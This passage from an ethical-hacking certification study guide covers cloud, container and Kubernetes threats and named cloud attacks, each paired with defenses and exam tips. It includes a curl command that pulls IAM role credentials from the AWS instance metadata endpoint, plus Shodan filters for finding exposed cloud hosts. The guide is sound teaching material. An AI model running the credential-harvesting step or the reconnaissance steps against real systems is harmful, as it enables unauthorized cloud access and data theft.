2. **Kubernetes Risks (K01-K10):** K01 Insecure Workload Configurations, K02 Supply Chain Vulnerabilities, K03 Overly Permissive RBAC Configurations, K04 Lack of Centralized Policy Enforcement, K05 Inadequate Logging and Monitoring, K06 Broken Authentication Mechanisms, K07 Missing Network Segmentation, K08 Secrets Management Failures, K09 Misconfigured Cluster Components, K10 Outdated and Vulnerable Kubernetes Components.
3. **Serverless Security Risks (A1-A10):** the same label scheme as the OWASP web Top 10: A1 Injection, A2 Broken Authentication, A3 Sensitive Data Exposure, A4 XML External Entities (XXE), A5 Broken Access Control, A6 Security Misconfiguration, A7 Cross-Site Scripting (XSS), A8 Insecure Deserialization, A9 Using Components with Known Vulnerabilities, A10 Insufficient Logging and Monitoring.

Real-world use: An auditor reviewing a company's Kubernetes cluster checks it item by item against K01-K10 to produce a findings report, the same way a web app auditor would use the OWASP web Top 10.

Tools and commands used here: Scout Suite, Cloudsplaining, and the dedicated scanners in sections 3.33, 3.90.

Countermeasures and defense: See the matching solution tables in sections 3.93 (Kubernetes) and 3.94 (Serverless).

EXAM FOCUS: Do not confuse the three lists' numbering schemes: R for general cloud, K0 for Kubernetes, A for serverless (which mirrors the familiar web OWASP numbering). If a question shows "A1" expect an injection-style answer, not a cloud governance answer.

Memory trick: "R for cloud Risk category, K for K8s, A for App (serverless app risks reuse web app labels)."

3.12 Cloud Computing Threats (Categories)

What it is: A broad catalog of threats to cloud environments, grouped into categories: data security, operational security, network security, governance and legal risks, cloud service misuse, infrastructure/system configuration, interface and API security, and development/resource management.

How it works (threats by category, representative items):

1. **Data security:** data breach/loss, loss of operational/security logs, malicious insiders, loss of encryption keys, theft of equipment, loss/modification of backup data, improper data handling and disposal.
2. **Operational security:** insufficient due diligence, shared technology issues, unknown risk profile, unsynchronized system clocks, illegal access, inadequate infrastructure design, conflicts between client hardening and cloud environment, loss of business reputation from co-tenant activity.
3. **Network security:** modifying network traffic, management interface compromise, authentication attacks, VM-level attacks, hijacking accounts, Economic Denial of Sustainability (EDOS, where fraudulent usage inflates a victim's cloud billing to unsustainable levels).
4. **Governance and legal risks:** cloud provider acquisition (vendor lock-in), loss of governance, compliance risks, licensing risks, risk from jurisdiction changes, subpoena and e-discovery exposure, limited cloud usage visibility.
5. **Cloud service misuse:** abuse and nefarious use of cloud services, undertaking malicious probes or scans using rented cloud resources.
6. **Infrastructure/system configuration:** natural disasters, hardware failure, supply chain failure, isolation failure, cloud service termination or failure.
7. **Interface and API security:** insecure interfaces and APIs.
8. **Development and resource management:** privilege escalation, insecure software development practices, resource exhaustion, lack of security architecture.

Real-world use: A company discovers its cloud bill spiked 40x overnight because an attacker scripted thousands of fake requests against its pay-per-use API; this is an Economic Denial of Sustainability (EDOS) attack under network security threats.

Tools and commands used here: none directly; mitigations come from the best-practice lists in sections 3.91, 3.95-3.98.

Countermeasures and defense: Apply defense in depth across every category: encryption and key management (data), SLA and due diligence review (operational), traffic monitoring (network), contract and compliance review (governance), API security testing (interface), and secure SDLC (development).

EXAM FOCUS: EDOS is a frequently tested term; do not confuse it with DDoS. DDoS takes a service offline; EDOS keeps it online but makes it financially unsustainable by abusing metered billing.

Memory trick: "DSN-GINSD" is unwieldy, so instead group by asking: is this about Data, Ops, Network, Governance, Misuse, Infra, Interface, or Development?

3.13 Emerging AI-Powered and Quantum Cloud Threats

What it is: A forward-looking threat table showing how AI and quantum computing change cloud risk, comparing present-day threats to future ones in each category.

How it works (present vs. future, by category):

1. **AI-powered cyber attacks:** present: AI automates phishing, DDoS, and network intrusion by finding vulnerabilities faster. Future: autonomous, adaptive malware that evolves in real time, outpacing traditional defenses.
2. **Advanced data manipulation:** present: AI-driven data poisoning of datasets. Future: synthetic data indistinguishable from real data, undermining trust in cloud-based AI models.
3. **AI-powered social engineering:** present: automated, personalized social engineering with higher success rates. Future: AI mimicking human voice/behavior so well that legitimate and fraudulent communication become hard to tell apart.
4. **Breaking encryption (quantum):** present: quantum computers cannot yet break modern encryption. Future: quantum computing could decrypt cloud-stored sensitive data as current encryption becomes obsolete.
5. **Quantum-powered data breaches:** present: today's systems are secure against classical computing attacks. Future: quantum computing could bypass current security measures via quantum- specific vulnerabilities, causing large-scale breaches.
6. **Quantum AI:** present: quantum computing already has some impact on AI. Future: quantum-enhanced AI could exponentially increase [capability, continuing past where the source screenshot was cut off] [UNCLEAR on page 7].

Real-world use: A cloud provider's threat intelligence team adds "post-quantum cryptography" to its roadmap today, specifically because data encrypted now could be harvested and stored by an adversary for decryption once quantum computers mature ("harvest now, decrypt later").

AI angle: This entire topic is the AI angle: AI assists both attackers (automated phishing/malware) and, elsewhere in the module, defenders (anomaly detection in cloud monitoring tools).

> **ADDED CONTEXT:** Post-quantum cryptography (PQC) is NIST's ongoing standardization effort (lattice-based algorithms such as CRYSTALS- Kyber and CRYSTALS-Dilithium, now renamed ML-KEM and ML-DSA) meant to replace RSA/ECC before large-scale quantum computers can break them (verify current NIST standard names).

Countermeasures and defense: Start cryptographic agility planning now (so algorithms can be swapped later); use AI-assisted monitoring to counter AI-assisted attacks; do not store long-lived secrets using only classical encryption if the data must stay confidential for decades.

EXAM FOCUS: The v13 AI exam update specifically tests this present-vs-future framing; expect a question asking whether quantum computers can break modern encryption TODAY (answer: no, not yet).

Memory trick: "AI speeds up today's attacks; quantum threatens tomorrow's encryption."

3.14 Container Vulnerabilities

What it is: A catalog of ways a container's image, registry, runtime configuration, or workload placement can be abused.

How it works (vulnerability list):

1. **Impetuous image creation:** images built carelessly, ignoring security controls.
2. **Non-updated images:** outdated images carry known bugs and security loopholes.
3. **Unreliable third-party resources:** untrusted third-party resources expose the container to malicious attacks.
4. **Hijacked repository and infected resources:** misconfiguration and bugs let attackers poison a repository by altering/deleting files.
5. **Unauthorized access:** gaining access to user accounts leads to privilege escalation attacks.
6. **Hijacked image registry:** mismanaged configuration and vulnerabilities let attackers compromise the registry/image hub.
7. **Insecure container runtime configurations:** improper handling of configuration options and mounting sensitive host directories causes faulty, insecure runtime setups.
8. **Exposed services due to open ports:** application misconfiguration exposes open ports that leak sensitive information on a port scan.
9. **Data exposure in Docker files:** Docker images exposing secrets like passwords and SSH keys directly in the image.

10. **Exploited applications:** vulnerable applications inside the container can be exploited via SQLi, XSS, RFI, and similar bugs.
11. **Embedded malware:** malware embedded during image creation, or a hardcoded function that downloads malware post-deployment.
12. **Mixing of workload sensitivity levels:** orchestrators place workloads of different sensitivity on the same host; a vulnerable public web server container can threaten a co-located container handling sensitive data.

Real-world use: A company pulls a "convenient" pre-built container image from an untrusted public registry; the image is later found to contain embedded cryptomining malware that activated weeks after deployment.

Tools and commands used here: Trivy, Sysdig, and the other vulnerability scanners in section 3.84.

Countermeasures and defense: Scan images before deployment, pull only from trusted/signed registries, never hardcode secrets in images, and isolate workloads by sensitivity level on separate hosts or clusters (see section 3.95 for the full best-practice list).

EXAM FOCUS: "Mixing of workload sensitivity levels" is a distinct, often-tested concept: it is not about the image itself but about WHERE the orchestrator schedules containers.

Memory trick: Group these into 3 buckets: Image problems (1,2,9,11), Access/Registry problems (3,4,5,6), Runtime/placement problems (7,8,10,12).

3.15 Kubernetes Vulnerabilities (Detailed)

What it is: Ten specific weaknesses in how Kubernetes components authenticate, log, and handle secrets.

How it works (vulnerability list with cause and impact):

1. **No certificate revocation:** Kubernetes does not support certificate revocation, so an attacker can exploit a certificate before it is replaced across the entire cluster.
2. **Unauthenticated HTTPS connections:** although Kubernetes uses PKI, connections between components are not properly authenticated, letting attackers reach kubelet-managed pods and read sensitive data.
3. **Exposed bearer tokens in logs:** bearer tokens get logged in hyperkube/`kube-apiserver` system logs; anyone with log access can impersonate a legitimate user.
4. **Exposure of sensitive data via environment variables:** settings derived from environment variables can be read by an attacker through environment logging.
5. **Secrets at rest not encrypted by default:** user-defined secrets are not encrypted by default; an attacker with `etcd` access can read them in plain text.
6. **Non-constant time password comparison:** `kube-apiserver`'s basic password authentication does not use a secure (constant-time) comparison, enabling timing attacks to recover the password.

7. **Hardcoded credential paths:** if the cluster token and root CA are stored in separate fixed locations, an attacker can insert a malicious token and root CA to access the whole cluster.
8. **Log rotation is not atomic:** if the kubelet restarts during log rotation, logs may be erased; an attacker can wait for rotation and then remove all logs.
9. **No back-off process for scheduling:** the scheduler keeps retrying a pod that keeps getting rejected, causing a tight loop.
10. **No non-repudiation:** with debug mode disabled, `kube-apiserver` does not record user actions, letting an attacker interact with it directly without an audit trail.

Real-world use: An attacker who gains read access to a cluster's system logs discovers a leaked bearer token (item 3) and uses it to impersonate a legitimate service account, bypassing normal login entirely.

Tools and commands used here: `kubectl`, `etcdctl` (sections 3.82, 3.88).

Countermeasures and defense: See the matched solution table in section 3.93.

EXAM FOCUS: The exam may ask "which Kubernetes vulnerability allows timing attacks" (non-constant time password comparison) or "which one means logs vanish on kubelet restart" (log rotation is not atomic).

Memory trick: "CRL missing, Auth missing, Tokens leaked, Env leaked, Secrets plain, Timing weak, Paths hardcoded, Logs lost, No back-off, No audit" - ten distinct weak points, each about auth, logging, or secrets.

> **ADDED CONTEXT:** "Non-constant time" means the comparison function returns faster or slower depending on how many leading characters match, which lets an attacker measure response time to guess a secret one character at a time - the same class of flaw as a timing side-channel attack.

3.16 Cloud Attacks: Service Hijacking (Social Engineering and Network Sniffing)

What it is: Two different ways an attacker steals a victim's cloud login session: tricking the user (social engineering) or intercepting unencrypted traffic (network sniffing).

Analogy: Social engineering hijacking is a fake ATM slot over a real ATM that copies your card; network sniffing hijacking is someone tapping the phone line to record your PIN as you say it.

How it works (Service Hijacking using Social Engineering):

1. The attacker creates a fake cloud service login page (for example, at a lookalike URL).
2. The attacker sends the victim a malicious link.
3. The victim clicks the link and enters login credentials on the fake page.
4. The credentials pass to the attacker, and the victim is redirected to the real cloud login page so nothing seems wrong.

5. The attacker uses the stolen credentials to log into the real cloud service.

How it works (Service Hijacking using Network Sniffing):

1. The attacker sets a network card (NIC) to promiscuous mode on a shared switch segment.
2. A sniffer captures login credentials/cookies as the victim logs into a cloud service.
3. The attacker uses the sniffed credentials/cookies to log into the cloud service directly.

Real-world use: An employee receives an email mimicking their company's single sign-on page, enters their password, and unknowingly hands over access to the company's entire cloud tenant.

Tools and commands used here: phishing kits (social engineering variant), packet sniffers such as Wireshark (network sniffing variant, see Module 8: Sniffing for full coverage).

Countermeasures and defense: Enforce multi-factor authentication (MFA) so a stolen password alone is not enough; use HTTPS/TLS everywhere so sniffed traffic is encrypted; train users to verify URLs before entering credentials.

EXAM FOCUS: If a question mentions "promiscuous mode" or "switch/NIC," it is the sniffing variant; if it mentions a "fake login page" or "phishing link," it is the social engineering variant.

Memory trick: "Trick the user, or tap the wire" - two paths to the same stolen cloud login.

3.17 Cloud Attacks: Side-Channel or Cross-Guest VM Breaches

What it is: An attack where the attacker places a malicious virtual machine (VM) on the same physical host as the victim's VM, then abuses shared physical resources (like CPU cache) to steal data such as cryptographic keys, instead of attacking the victim's VM directly.

Analogy: Two strangers share one apartment's thin wall; one presses a glass to the wall to listen to the other's conversation, never entering their room.

How it works:

1. The attacker places their own VM on the same multi-tenant cloud host as the target's VM (co-residency).
2. The attacker's VM measures shared CPU cache behavior while the victim's VM runs (a timing attack).
3. From these measurements, the attacker infers cryptographic keys or plaintext secrets held in the victim's VM memory/cache.
4. Related side-channel techniques include data remanence (reading leftover data), acoustic cryptanalysis (sound from hardware), power monitoring attacks, and differential fault analysis.

5. With stolen credentials or keys, the attacker impersonates the victim.

Real-world use: A researcher proves that two unrelated customers' VMs, placed on the same physical AWS host by chance, can leak secret key bits to each other purely through CPU cache timing differences, with no network traffic involved at all.

Tools and commands used here: none named in the slide; this is a hardware-level technique, not a scripted CLI attack.

Countermeasures and defense: Cloud providers isolate tenants with stronger hardware isolation (dedicated hosts/instances); customers with very sensitive workloads can pay for dedicated, non-shared hardware to remove co-residency risk entirely.

EXAM FOCUS: Keyword "co-resident," "same physical host," "shared CPU cache" always points to a side-channel/cross-guest VM attack, not a network-based attack.

Memory trick: "Same house, different room, thin wall" - co-resident VMs leaking data through shared hardware.

3.18 Cloud Attacks: Wrapping Attack

What it is: An attack performed during the translation of a SOAP (Simple Object Access Protocol) message inside the TLS layer, where the attacker duplicates the message body and sends the duplicate to the server while posing as a legitimate user.

Analogy: Like photocopying a signed, sealed envelope's contents, then stuffing a different letter into the original envelope before it is delivered, while the recipient still trusts the seal.

How it works:

1. The user sends a request (with a header and body) to the webserver.
2. The attacker intercepts the SOAP message in transit.
3. The attacker duplicates the original message body, adds the copy into the header area, and modifies the original body to contain malicious content.
4. The attacker sends this modified SOAP message (now containing a header, the original header, and a malicious body) to the server.
5. The server, trusting the structure, processes the attacker's malicious body as if it came from the legitimate user.

Real-world use: A cloud storage API that uses SOAP for file transfer requests is tricked into executing a "delete file" command the attacker injected, while the original "list files" request structure still looks valid to the server's signature check.

Tools and commands used here: none named; this exploits the SOAP/ XML message structure itself.

Countermeasures and defense: Use WS-Security message-level signing that covers the entire message structure (not just the body), validate SOAP message structure

strictly, and prefer REST/JSON with proper authentication over legacy SOAP where possible.

EXAM FOCUS: The wrapping attack is specific to SOAP/XML messaging, not generic HTTP. If a question mentions "duplicating the message body inside the header," that is the wrapping attack.

Memory trick: "Wrap a fake gift inside the real box" - duplicate the body, hide the real request, smuggle a malicious one through.

3.19 Cloud Attacks: Man-in-the-Cloud (MITC) Attack

What it is: An advanced version of a Man-in-the-Middle (MITM) attack that abuses cloud file synchronization services (such as Google Drive or Dropbox) for data compromise, command-and-control (C&C), data exfiltration, and remote access.

Analogy: Instead of intercepting mail in transit (classic MITM), the attacker secretly swaps the key to your mailbox so your own mail service keeps delivering copies to them, even after they leave.

How it works:

1. The attacker tricks the victim into installing malicious code (for example, via a phishing email attachment).
2. The malware plants the attacker's own synchronization token onto the victim's drive/sync application.
3. The victim's drive now syncs with the attacker's cloud account as well as their own.
4. The attacker steals the victim's synchronization token and uses it to access the victim's files directly from the cloud side.
5. The attacker restores the original synchronized token afterward, returning the drive application to its original state, so the victim does not notice anything changed.

Real-world use: An attacker compromises an employee's laptop just long enough to swap their Dropbox sync token, then removes all traces, while quietly continuing to receive every file the employee syncs from then on.

Tools and commands used here: none named; relies on malware that manipulates sync client tokens.

Countermeasures and defense: Monitor and alert on sync token/device authorization changes; revoke and rotate sync tokens if unusual device authorizations appear; use cloud provider device-management features to see which devices are authorized to sync.

EXAM FOCUS: MITC is distinguished from classic MITM by NOT intercepting live traffic; it persists by stealing and later restoring a synchronization token, so the victim notices nothing.

Memory trick: "Steal the sync key, read at leisure, put the key back" - MITC leaves the door looking locked the whole time.

3.20 Cloud Attacks: Cloud Hopper Attack

What it is: An attack triggered at managed service providers (MSPs) and their users, where attackers send spear-phishing emails with custom malware to compromise MSP staff accounts and steal confidential information from the MSP's customers.

Analogy: Instead of robbing every house on a street, a thief robs the one company that holds master keys to every house (the MSP), then uses those keys at will.

How it works:

1. The attacker sends spear-phishing emails with custom malware to MSP staff or MSP client-firm staff.
2. Malware infiltrates the MSP and spreads for remote access via MSP accounts and network interfaces.
3. The attacker uses MSP access to extract customer information.
4. Retrieved data is compressed and staged within the MSP's own environment before exfiltration.

Real-world use: A managed IT provider serving dozens of small businesses gets spear-phished; the attacker then pivots through the MSP's remote-management tools to quietly reach every client's network at once, rather than attacking each client directly.

Tools and commands used here: spear-phishing kits, custom malware (not a specific named CLI tool in the slide).

Countermeasures and defense: MSPs should enforce MFA, least privilege for remote-management tools, and network segmentation between client environments; clients should audit what access they grant their MSP.

EXAM FOCUS: "MSP" is the key term; if attackers target one organization to reach many of its downstream customers through shared management tooling, that is a supply-chain-style attack, and in the cloud-services context specifically it is Cloud Hopper.

Memory trick: "Hop through the MSP to reach everyone it manages."

3.21 Cloud Attacks: Cloud Cryptojacking

What it is: The unauthorized use of a victim's cloud computing resources to stealthily mine digital currency, run by external attackers or rogue insiders.

Analogy: Someone secretly plugs their own appliance into your electricity meter so you pay their power bill while they profit.

How it works:

1. The attacker compromises a cloud service by leveraging cloud misconfigurations, compromised websites, or client/server-side vulnerabilities.
2. The attacker embeds a cryptomining script into the cloud service.

3. The victim connects to the now-compromised cloud service.
4. The victim's compute resources start mining cryptocurrency without their knowledge.
5. The attacker collects the mined cryptocurrency coins as a reward.

Real-world use: A company's publicly exposed Kubernetes dashboard, left without authentication, gets used by an attacker to deploy a cryptomining container that runs 24/7 on the company's own cloud bill.

Tools and commands used here: none named specifically; often paired with the misconfiguration-scanning and exploitation tools covered later (Prowler, CloudSploit, Pacu).

Countermeasures and defense: Monitor for abnormal CPU/GPU usage and billing spikes; patch known vulnerabilities promptly; never leave management dashboards or APIs unauthenticated.

EXAM FOCUS: A sudden, unexplained spike in cloud compute billing or sustained 100% CPU usage with no matching legitimate workload is the classic giveaway for cryptojacking in a scenario question.

Memory trick: "Your cloud bill, their coins."

3.22 Cloud Attacks: Cloudborne Attack

What it is: A vulnerability residing in a bare-metal cloud server that lets attackers implant a malicious backdoor in its firmware, which can persist across customer reassignment.

Analogy: A rented car's previous renter hides a tracking device under the seat; the next renter drives off unaware they are being watched the whole time.

How it works:

1. The attacker (as a prior tenant of a bare-metal server) injects a malicious backdoor into the server's firmware.
2. The cloud provider reassigns that same physical server to a new customer, with the persistent backdoor still in place.
3. The attacker monitors the new customer's activities through the backdoor.
4. The attacker exfiltrates the new customer's data via the persistent backdoor.

Real-world use: A penetration-testing firm demonstrates that a bare-metal cloud server they rented, used, and returned still had a firmware implant active when a completely different company later rented that exact same physical machine.

Tools and commands used here: none named; this is a firmware-level implant technique.

Countermeasures and defense: Cloud providers must firmware-wipe or reflash bare-metal servers between customer assignments and verify firmware integrity (checksums/signed firmware) before reassignment.

EXAM FOCUS: "Bare-metal," "firmware backdoor," and "next customer" together always point to Cloudborne; do not confuse it with Cloud Snooper (section 3.25), which is about AWS security-group traffic filtering, not firmware.

Memory trick: "Cloud-BORNE in the firmware before you ever logged in."

3.23 Cloud Attacks: Instance Metadata Service (IMDS) Attack

What it is: An attack against the Instance Metadata Service (IMDS), a service that provides information about a cloud instance (its network, configuration, and importantly, its attached IAM role credentials), reachable from inside the instance itself.

Analogy: Every delivery truck (instance) carries a sticky note on its dashboard listing today's route and the warehouse keycode. If someone sneaks a note-reading trick past the driver, they get the keycode without ever touching the warehouse.

How it works:

1. The attacker exploits a zero-day vulnerability on the target application server, or abuses information leaked via a reverse proxy configured by administrators.
2. The attacker connects to the cloud instance's metadata endpoint.
3. The attacker captures metadata (for AWS EC2, via `http://169.254.169.254/latest/meta-data/`), including the IAM role name and its temporary credentials.
4. With these credentials, the attacker gains access to whatever cloud resources that IAM role can reach.

Real-world use: A web application with a server-side request forgery (SSRF) bug lets an attacker make the server itself fetch the metadata URL on their behalf, handing over the server's AWS access keys without the attacker ever touching AWS credentials directly (see the full walkthrough in section 3.48 and the SSRF variant in section 3.55).

Tools and commands used here: `curl` against `http://169.254.169.254/latest/meta-data/iam/security-credentials/` (full command sheet entry in section 5).

Countermeasures and defense: Upgrade to IMDSv2 (which requires a session token obtained via a `PUT` request, defeating most SSRF-based IMDS theft), enforce a hop limit of 1 on metadata requests, and fix SSRF vulnerabilities in applications.

EXAM FOCUS: `169.254.169.254` is one of the single most exam-relevant numbers in this module; memorize it exactly as the AWS (and general cloud) instance metadata address.

Memory trick: "One-six-nine, two-five-four - metadata's door."

3.24 Cloud Attacks: Cache Poisoned Denial of Service (CPDoS) / CDN Cache Poisoning

What it is: An attack where the attacker crafts malformed or oversized HTTP requests to trick the origin web server into responding with error or malicious content, which then

gets cached by the Content Delivery Network (CDN) and served to every legitimate user afterward.

Analogy: A prankster slips a "closed for renovations" sign onto a shop's window; the shop is actually open, but the sign (cached by passersby's memory) keeps everyone away until someone takes it down.

How it works:

1. The attacker sends a specially malformed/oversized HTTP request to the CDN, which forwards it to the origin web server.
2. The origin server responds with an error page (for example, "404 Not Found") because it cannot process the malformed request.
3. The CDN caches this error/malicious response as if it were the normal page.
4. A legitimate user requests the same page; the CDN serves the cached error/malicious content instead of the real page, resulting in a denial of service for that resource.

Real-world use: An attacker sends an oversized HTTP header to a news site's CDN-cached homepage; the origin server returns a 404 error, which the CDN then caches and serves to every real visitor until the cache expires or is manually purged.

Tools and commands used here: none named; crafted via manual HTTP requests or tools like Burp Suite.

Countermeasures and defense: Configure the CDN/origin to never cache error responses, validate and normalize headers before caching decisions, and set strict cache-control policies.

EXAM FOCUS: CPDoS does not flood the server with traffic like a classic DoS; it poisons a SINGLE cached response so the CDN itself denies service to everyone, using the attacker's one crafted request.

Memory trick: "Poison one copy in the cache, and the CDN hands that poison to everyone else."

3.25 Cloud Attacks: Cloud Snooper Attack

What it is: An attack triggered at AWS security groups (SGs) that compromises a target server and stealthily extracts sensitive data by disguising command-and-control (C2) traffic as normal web traffic.

Analogy: A smuggler disguises contraband as ordinary mail parcels (destination ports 80/443) so a mail-screening checkpoint (the security group) waves them straight through.

How it works:

1. Attackers install a rootkit on the target server, via weaknesses in traffic filters, supply-chain attacks, or SSH brute-forcing.

2. Attackers send specially crafted C2 packets with destination port 80 or 443, which AWS SGs allow through because they only check destination port.
3. The rootkit (a Trojan component) identifies the real C2 traffic hidden among normal traffic, strips the disguise, and forwards it to internal non-standard ports (such as 1010, 2020, 6060, 7070, 8080, 9999).
4. The Trojan transfers stolen data back out, reconstructing outgoing packets with source port 80 or 443 so the SG again lets them pass as normal return web traffic.
5. The attacker retrieves the stolen data on the other end.

Real-world use: A company's AWS SG only restricts traffic by destination port, allowing 80/443 through; an attacker exploits this blind spot to maintain a C2 channel that security-group rules alone never catch.

Tools and commands used here: rootkit/Trojan payloads (no specific named public tool in the slide).

Countermeasures and defense: Pair port-based SG rules with deep packet inspection or application-layer firewalls that verify traffic actually matches HTTP/HTTPS protocol behavior, not just the port number.

EXAM FOCUS: The exam angle here is that security groups filter by PORT NUMBER ONLY; Cloud Snooper proves that port-only filtering is insufficient defense against disguised C2 traffic.

Memory trick: "Snoop in plain sight by wearing port 80/443's uniform."

3.26 Cloud Attacks: Golden SAML Attack

What it is: An attack targeting identity providers on cloud networks, such as Active Directory Federation Services (ADFS), which use the SAML (Security Assertion Markup Language) protocol for authentication and authorization, letting an attacker forge valid-looking login tokens.

Analogy: Instead of forging one fake passport, the attacker steals the government's actual passport-printing press (the token-signing certificate), letting them print a perfectly "genuine" passport for anyone, anytime.

How it works:

1. The attacker first gains administrative access to the identity provider's (ADFS's) environment.
2. The attacker exploits the identity provider's token-signing certificate and the associated private key.
3. Using the stolen key and certificate, the attacker manipulates SAML assertions to generate a forged SAML response/token.
4. The attacker (posing as any user they choose) sends the forged SAML response and gains access to the service provider's resources, bypassing normal authentication entirely.

Real-world use: An attacker who compromises an organization's ADFS server extracts its signing certificate, then forges a SAML token claiming to be the company's Global Administrator, gaining full cloud tenant access without ever knowing that admin's actual password.

Tools and commands used here: none named specifically in the slide; associated open-source tooling in this space includes Mimikatz-style token forging (verify exact tool used in current threat reporting).

Countermeasures and defense: Protect and rotate token-signing certificates tightly, monitor for anomalous SAML token issuance, and restrict administrative access to identity providers.

EXAM FOCUS: Golden SAML is the federated-identity (SAML) version of the same idea as a "Golden Ticket" attack in Kerberos (Module 6); both forge a trusted credential using a stolen signing key/secret, so exam questions may ask you to spot the parallel.

Memory trick: "Golden SAML = stolen signing key -> print your own VIP badge."

3.27 Cloud Attacks: Living Off the Cloud (LotC) Attack

What it is: An attack where attackers exploit the victim's own legitimate tools and cloud services to carry out malicious activity, letting them reside in the victim's environment without leaving obvious traces or artifacts.

Analogy: A thief who never brings their own tools, instead using the homeowner's own ladder, keys, and garden shed to break in and move around unnoticed.

How it works:

1. The attacker gains initial access to the victim's system.
2. The attacker moves laterally using native tools already on the system, such as CMD, PowerShell, and Certutil.
3. The attacker delivers a malicious payload using trusted cloud storage services, such as Dropbox or Google Drive.
4. The attacker sets up command-and-control using a cloud tunneling service such as Ngrok.
5. The attacker blends malicious traffic with legitimate cloud traffic by routing it through normal SaaS/IaaS apps.
6. The attacker performs the intended malicious activity: stealing cloud-stored data, mining cryptocurrency, launching DDoS attacks, and more.

Real-world use: A red team exercise shows that using only PowerShell, Certutil, Google Drive, and Ngrok (all legitimate, widely-allowed tools and services), a simulated attacker moves through a victim network and exfiltrates data while every single network flow looks like normal cloud-app traffic to a traditional firewall.

Tools and commands used here: CMD, PowerShell, Certutil (native Windows tools); Dropbox, Google Drive (payload delivery); Ngrok (C2 tunneling).

Countermeasures and defense: Monitor for unusual use of native admin tools (PowerShell logging, Certutil download abuse), restrict outbound access to known tunneling services like Ngrok, and apply behavioral/anomaly-based detection rather than relying only on signature or domain-reputation blocking.

EXAM FOCUS: "Living off the land" (Module 6 concept) applied to the cloud: LotC specifically means abusing trusted SaaS/IaaS traffic and native OS tools together so malicious activity blends into normal traffic patterns.

Memory trick: "Live off what is already trusted - no new tools, no new red flags."

3.28 Cloud Hacking: Overview (Web Apps, Systems, and Platform)

What it is: A framing slide showing that "cloud hacking" is broad: it includes hacking cloud-hosted web applications, hacking virtualized systems, and hacking the cloud platform itself.

How it works (three overlapping areas):

1. **Web Applications Hacking:** attackers target cloud-based web APIs, often internet-facing, exploiting inadequate authentication and authorization flaws to reach vast cloud resources. Full coverage is in Module 14: Hacking Web Applications.
2. **System Hacking:** attackers exploit vulnerabilities in virtualized systems (VMs, containers, serverless functions) to gain unauthorized access and persistence. Full coverage is in Module 06: System Hacking.
3. **Cloud Platform Hacking:** attackers exploit weak passwords, unpatched services, and misconfigured settings to compromise the cloud platform's overall security; this is the focus of the rest of this module's AWS/Azure/GCP/container walkthroughs.

Real-world use: A single breach may combine all three: a weak API key (web app hacking) grants access to a VM (system hacking), which holds IAM credentials that unlock the entire AWS account (cloud platform hacking).

Countermeasures and defense: As a reminder from the source slide: an ethical hacker must notify the cloud provider before performing any hacking operations and must check which activities are permitted for a given cloud service, since many providers prohibit certain tests (like DoS testing) entirely.

EXAM FOCUS: If a scenario question's core vulnerability is a web API flaw, point to Module 14 content even inside a "cloud" question; if it is a VM/container exploit, think Module 06 content; only platform-level IAM/config issues are unique to this module.

Memory trick: "Three doors into the same cloud: the app, the system, and the platform."

3.29 Cloud Hacking Methodology (4 Phases)

What it is: The structured, repeatable process this module follows for attacking any cloud platform: Information Gathering, Vulnerability Assessment, Exploitation, and Post-Exploitation.

Analogy: Like a burglar casing a neighborhood (gathering), checking which houses have unlocked windows (assessment), breaking in through the weakest one (exploitation), then deciding whether to steal something now and leave, or hide and come back later (post- exploitation).

How it works (the 4 phases):

1. **Information Gathering:** collect as much data as possible about the target cloud infrastructure, laying the foundation for the rest of the attack (section 3.30 onward).
2. **Vulnerability Assessment:** identify and evaluate security weaknesses: misconfigurations, unpatched software, flaws in cloud-based network, applications, and services.
3. **Exploitation:** actively exploit identified vulnerabilities to gain unauthorized access or control; successful exploitation can cause data breaches, service disruption, or financial loss.
4. **Post-Exploitation:** maintain access, cover tracks, and explore deeper into the network, ensuring long-term access, data exfiltration, and setup for further attacks.

Real-world use: A penetration tester hired to assess a company's AWS tenant follows exactly this order: Shodan/Censys recon, then Prowler/CloudSploit scanning, then exploiting a found misconfigured S3 bucket or IAM role, then documenting persistence techniques they could have used (without actually deploying real backdoors) for the report.

Tools and commands used here: every tool in sections 3.30 through 3.89 maps to one of these four phases; see the Phase column in section 4 (Tool Encyclopedia).

Countermeasures and defense: Detect and disrupt the methodology at the earliest phase possible: reduce what information-gathering tools can find (section 3.30's countermeasures), patch fast to shrink the vulnerability-assessment window, and use strong logging/alerting to catch exploitation and post-exploitation activity quickly.

> **REMEMBER:** Ethical hacking in a cloud environment is typically feasible only through internal, authorized means, staying compliant with security policy and avoiding any unauthorized actions against the live, shared cloud platform.

EXAM FOCUS: This 4-phase methodology maps onto, but is NOT identical to, the classic 5 CEH hacking phases (Recon, Scanning, Gaining Access, Maintaining Access, Clearing Tracks); cloud hacking methodology compresses Recon+Scanning into "Information Gathering" and "Vulnerability Assessment," and folds Maintaining Access+Clearing Tracks into "Post-Exploitation." Do not mix up which list a question is asking about.

Memory trick: "Gather, Assess, Exploit, Persist" - GAEP, the 4-step cloud hacking cycle.

3.30 Identifying Target Cloud Environment

What it is: The practice of recognizing and profiling which cloud infrastructure (AWS, Azure, GCP, etc.) an organization actually uses, using internet-wide scanning search engines.

How it works:

1. The attacker queries tools such as Shodan or Censys, which continuously scan and index internet-facing devices and services.
2. The attacker uses targeted search filters to narrow results to a specific provider, region, product, or named organization.
3. Results reveal open ports, banners, certificates, and sometimes vulnerability hints tied to a specific cloud-hosted IP.

Real-world use: An attacker searches Shodan for `org:Facebook` to find which of Facebook's internet-facing services run on AWS, then pivots to those specific hosts for further recon.

Tools and commands used here: Shodan, Censys. Key Shodan search filters:

- `ssl.cert.issuer.cn:Amazon` -> find AWS-issued certificates.
- `cloud.region:<Region_code>` -> find hosts in a specific cloud region.
- `org:Microsoft` -> find devices/services belonging to Microsoft.
- `product:Kubernetes` -> find exposed Kubernetes instances.
- `"Amazon web services" Facebook` -> find AWS-hosted infrastructure tied to Facebook (combining a provider term with an org name).

Countermeasures and defense: Minimize what is internet-facing, remove identifying banners/certificate metadata where possible, and periodically search Shodan/Censys for your own organization to see what an attacker would see.

EXAM FOCUS: Shodan and Censys are "banner-grabbing search engines," distinct from active scanners like Masscan/Nmap; a question may ask which category of tool each belongs to.

Memory trick: "Shodan reads the internet's business cards (service banners) so you do not have to knock on every door."

3.31 Discovering Open Ports and Services using Masscan

What it is: Masscan is a very fast port scanner, useful for finding open ports and services across large IP ranges of cloud infrastructure, enabling quick discovery of exposed, potentially vulnerable services.

How it works:

1. The attacker targets a specific IP address or IP range belonging to a cloud provider (AWS, Azure, GCP).
